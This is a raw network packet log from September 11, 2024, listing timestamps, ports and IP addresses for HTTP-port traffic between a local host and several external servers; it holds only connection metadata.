Sep 11, 2024 16:22:17.903672934 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.906718016 CEST	80	49752	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.906733990 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906764984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906775951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906786919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906790018 CEST	49752	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.906802893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.906820059 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.906924009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906935930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906945944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906958103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906963110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.906970978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906984091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.906986952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.906996965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907013893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907023907 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907042980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907051086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907054901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907068014 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907078981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907090902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907097101 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907116890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907129049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907211065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907222033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907257080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907275915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907288074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907299995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907311916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907322884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907325983 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907335997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907363892 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907412052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907423019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907433033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907443047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.907450914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907474041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.907495975 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.910959959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.910976887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.910988092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911010027 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911020041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911031008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911031008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911046028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911050081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911070108 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911091089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911135912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911148071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911156893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911169052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911176920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911180973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911192894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911199093 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911204100 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911216021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911217928 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911227942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911240101 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911262989 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911264896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911276102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911290884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911302090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911313057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911319017 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911324024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911335945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911336899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911345005 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911349058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911360979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911371946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911375046 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911387920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911393881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911412954 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911432981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.911926031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911940098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911951065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.911979914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912002087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912019968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912031889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912044048 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912055969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912071943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912096977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912182093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912193060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912204027 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912223101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912229061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912234068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912240982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912245989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912257910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912271023 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912295103 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912370920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912380934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912394047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912404060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912410975 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912415981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912426949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912434101 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912439108 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912451029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912457943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912465096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912477970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912487030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912512064 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912514925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912525892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912537098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912548065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.912564993 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.912589073 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.914341927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.914355040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.914366007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.914383888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.914395094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.914403915 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.914407015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.914413929 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.914421082 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.914438009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.914463043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.917639971 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.917654037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.917669058 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.917731047 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.917731047 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.917766094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.917777061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.917787075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.917798996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.917839050 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.917839050 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919089079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919104099 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919116974 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919138908 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919178009 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919182062 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919193029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919204950 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919218063 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919231892 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919270992 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919270992 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919300079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919328928 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919339895 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919409990 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919423103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919433117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919445038 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919456959 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.919487953 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919487953 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919517040 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.919997931 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.920008898 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.920027018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.920062065 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.920078039 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.920080900 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.920089960 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.920101881 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.920111895 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.920135975 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.920221090 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.929235935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929255009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929266930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929277897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929289103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929299116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929311037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929321051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929332972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929333925 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.929343939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929356098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929362059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.929362059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.929368019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929378986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929380894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.929389954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.929414034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.929430962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930030107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930042028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930052996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930064917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930083990 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930102110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930111885 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930113077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930133104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930145025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930155993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930160046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930171967 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930197954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930485964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930496931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930505991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930516958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930526972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930537939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930538893 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930548906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930556059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930560112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930569887 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930571079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930582047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930598021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930617094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930784941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930794954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930803061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930814028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930821896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930824041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930839062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930840015 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930851936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930855989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930862904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930874109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930879116 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930883884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930891037 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930896044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930906057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930915117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930917025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.930932045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.930953979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931042910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931055069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931066036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931077003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931087971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931092024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931099892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931107044 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931112051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931123018 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931123018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931138039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931149006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931153059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931174040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931174040 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931185007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931191921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931196928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931207895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931216002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931220055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931231976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931240082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931245089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931257010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931260109 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931269884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931281090 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931282997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931304932 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931322098 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931489944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931502104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931512117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931521893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931535006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931539059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931551933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931565046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931564093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931576967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931586027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931588888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931601048 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.931603909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931626081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.931642056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.933285952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.933300018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.933311939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.933324099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.933336973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.933350086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.933362961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.933372021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.933415890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.967204094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967220068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967231989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967310905 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967310905 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967336893 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967349052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967360020 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967375994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967406988 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967406988 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967556000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967566967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967576981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967588902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967600107 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967611074 CEST	80	49737	31.41.244.9	192.168.2.4
